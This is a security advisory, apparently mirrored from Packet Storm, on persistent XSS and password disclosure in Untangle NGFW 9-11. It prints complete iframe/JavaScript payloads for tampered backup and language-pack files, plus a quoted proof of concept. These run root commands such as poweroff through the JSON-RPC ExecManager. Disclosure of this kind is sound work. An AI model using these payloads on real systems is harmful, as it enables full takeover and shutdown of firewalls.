Lucene search
K

Untangle Cross Site Scripting / Information Disclosure

🗓️ 28 Apr 2015 00:00:00Reported by HuttonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 45 Views

Untangle system vulnerable to cross-site scripting and information disclosure due to improper file handling and lack of content validation. Malicious backup and language pack files can be crafted to execute persistent XSS attacks, obtaining root access and shutting down the system

Code
`This is a follow up to an earlier post, highlighting an XSS and information disclosure vulnerability in versions of Untangle 9-11   
  
The previous post is shown in full below this post.  
  
Additional un-patched vectors have been discovered that allow for these issues to be exploited with increased feasibility.  
  
The vectors exist due to improper handling of uploaded files, and insufficient validation and sanitisation of their contents.  
  
Two different types of file can be crafted to implement and incorporate the XSS payload highlighted in my previous post. Because the uploaded file/data integrity is not checked, the Untangle system will save the malicious data from the crafted file, allowing for persistent XSS that can perform actions as root, via the logged in users authenticated session and access to the Untangle JSON-RPC API. An example for each file type is shown below:  
  
- Backup file  
  
Untangle backup files are unencrypted tar gzip archives with a .backup file extension. Because these files are not encrypted, it is trivial to extract and view the file backup contents. This is a problem firstly because there is a huge amount of sensitive information disclosure in this archive, including the plaintext passwords of Local Directory users (as mentioned in my previous post). Secondly it means that it is easy to insert malicious data into the file, and then re-compress and craft the file to appear to be a normal backup file. Through social-engineering, an Admin user could restore from this malicious file. An example of the data to insert could be a fake malicious port forward rule:  
  
This example adds an iframe in the description field of the port forward rule that causes the Untangle system to shut down when the port forward page is loaded - network.js  
  
"portForwardRules": {  
"javaClass": "java.util.LinkedList",  
"list": [  
{  
"description": "Test <iframe height='1' width='1' srcdoc='<html> <head> <script type=\"text/javascript\" src=\"/ext4/ext-all-debug.js\"></script> <script type=\"text/javascript\" src=\"/jsonrpc/jsonrpc.js\"></script> <script type=\"text/javascript\" src=\"/script/i18n.js\"></script> <script type=\"text/javascript\" src=\"script/components.js\"></script> <script type=\"text/javascript\" src=\"script/main.js\"></script> </head> <body onload=\"exec()\"> <script type=\"text/javascript\"> function exec() { var rpc = {}; rpc.jsonrpc = new JSONRpcClient(\"/webui/JSON-RPC\"); rpc.execManager = rpc.jsonrpc.UvmContext.execManager(); var cmd = \"poweroff\"; var exit = rpc.execManager.execResult(cmd); } </script> </body> </html>'></iframe>",  
"enabled": false,  
"javaClass": "com.untangle.uvm.network.PortForwardRule",  
"matchers": {  
"javaClass": "java.util.LinkedList",  
"list": []  
},  
"newDestination": "1.2.3.4",  
"ruleId": 1,  
"simple": false  
}  
]  
},  
  
- Language pack  
  
Untangle language packs are unencrypted zip archives of various .po files that contain translation strings for the Untangle system. Because these are also unencrypted, and not checked for validity or sanitised, it means that it is easy to insert malicious data into the file, and then re-compress and craft the file to appear to be a normal language pack. Through social-engineering, an Admin user could import this malicious language pack into the system. An example of the data to insert is shown below:  
  
This example adds an iframe in the left navigation bar of the web UI (About tab) that causes the Untangle system to shut down when any page is loaded - untangle-libuvm.po  
  
#: ../servlets/webui/root/script/main.js:921  
#: ../servlets/webui/root/script/config/about.js:16  
#: ../servlets/webui/root/script/config/about.js:46  
msgid "About"  
msgstr "Sur <iframe height='1' width='1' srcdoc='<html> <head> <script type=\"text/javascript\" src=\"/ext4/ext-all-debug.js\"></script> <script type=\"text/javascript\" src=\"/jsonrpc/jsonrpc.js\"></script> <script type=\"text/javascript\" src=\"/script/i18n.js\"></script> <script type=\"text/javascript\" src=\"script/components.js\"></script> <script type=\"text/javascript\" src=\"script/main.js\"></script> </head> <body onload=\"exec()\"> <script type=\"text/javascript\"> function exec() { var rpc = {}; rpc.jsonrpc = new JSONRpcClient(\"/webui/JSON-RPC\"); rpc.execManager = rpc.jsonrpc.UvmContext.execManager(); var cmd = \"poweroff\"; var exit = rpc.execManager.execResult(cmd); } </script> </body> </html>'></iframe>"  
  
---------------------------------  
  
> To: [email protected]  
> CC: [email protected]  
> Subject: Multiple vulnerabilities in Untangle NGFW 9-11  
> Date: Sun, 8 Mar 2015 21:32:52 +0000  
>  
> Multiple issues have been discovered in the Untangle NGFW virtual  
> appliance. The vendor was unresponsive and uncooperative to the  
> researcher.  
>  
> - Persistent XSS leading to root  
>  
> Authentication required  
> Confirmed in versions 9 and 11 (up to rev r39357)  
>  
> Throughout the Untangle user interface there are editable data tables  
> for various user configuration options. An example of this is in:  
> Configuration> Networking> Port Forwards. This table can be edited by  
> clicking add to create a new port forward rule, or directly edited by  
> double-clicking on the table rows themselves.  
>  
> The problem arises from malicious user input into some of the fields of  
> these editable tables, which is not properly sanitised and allows for  
> execution of user supplied Javascript code in the context of the users  
> browser. Because this configuration data is saved into the backend  
> database, this allows for Persistent XSS in each of the vulnerable  
> fields/tables.  
>  
> This XSS attack is particularly devastating due to the fact that the  
> malicious attacker can run commands as root on the virtual appliance,  
> allowing for total system takeover. This is because the Untangle  
> JSON-RPC API has access to functionality provided by the ExecManager  
> class  
> (https://gitorious.org/untangle/src/source/381ad9cb2d1d475bb43814b07bbb0df2d1ae7b58:uvm/api/com/untangle/uvm/ExecManager.java),  
> which by default allows for arbitrary commands to be run as root on the  
> system.  
>  
> A POC demonstrating the issue is below:  
>  
> Insert the following into the srcdoc attribute of a user-controlled  
> iframe in the Description field or another vulnerable field (can also  
> be styled to hide etc):  
>  
> Test <iframe srcdoc='[insert code]'></iframe> (single quotes)  
>  
> Insert:  
>  
> <html>  
> <head>  
> <script type="text/javascript" src="/ext4/ext-all-debug.js"></script>  
> <script type="text/javascript" src="/jsonrpc/jsonrpc.js"></script>  
> <script type="text/javascript" src="/script/i18n.js"></script>  
> <script type="text/javascript" src="script/components.js"></script>  
> <script type="text/javascript" src="script/main.js"></script>  
> </head>  
> <body onload="exec()">  
> <script type="text/javascript">  
> function exec() {  
> var rpc = {};  
> rpc.jsonrpc = new JSONRpcClient("/webui/JSON-RPC");  
> var serverUID = rpc.jsonrpc.UvmContext.getServerUID();  
> alert(serverUID);  
> rpc.execManager = rpc.jsonrpc.UvmContext.execManager();  
> var cmd = "whoami> /tmp/who";  
> var exit = rpc.execManager.execResult(cmd);  
> alert("Command: " + cmd + " - Exit code: " + exit);  
> }  
> </script>  
> </body>  
> </html>  
>  
> - Information disclosure from Local Directory  
>  
> Authentication required  
> Confirmed in versions 9 and 11, not fixed.  
>  
> The Local Directory interface shows a list of users stored on the  
> Untangle system. Unfortunately, passwords are not sufficiently  
> encrypted to prevent information disclosure.  
>  
> Each user in the local directory interface has an attribute,  
> 'passwordBase64Hash', which is the base64 encoded string of the  
> plaintext password. Because base64 is a bi-directional encoding scheme,  
> the passwordBase64Hash attribute can be trivially decoded into the  
> original plaintext string, revealing the password for each user.   
  
CH  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation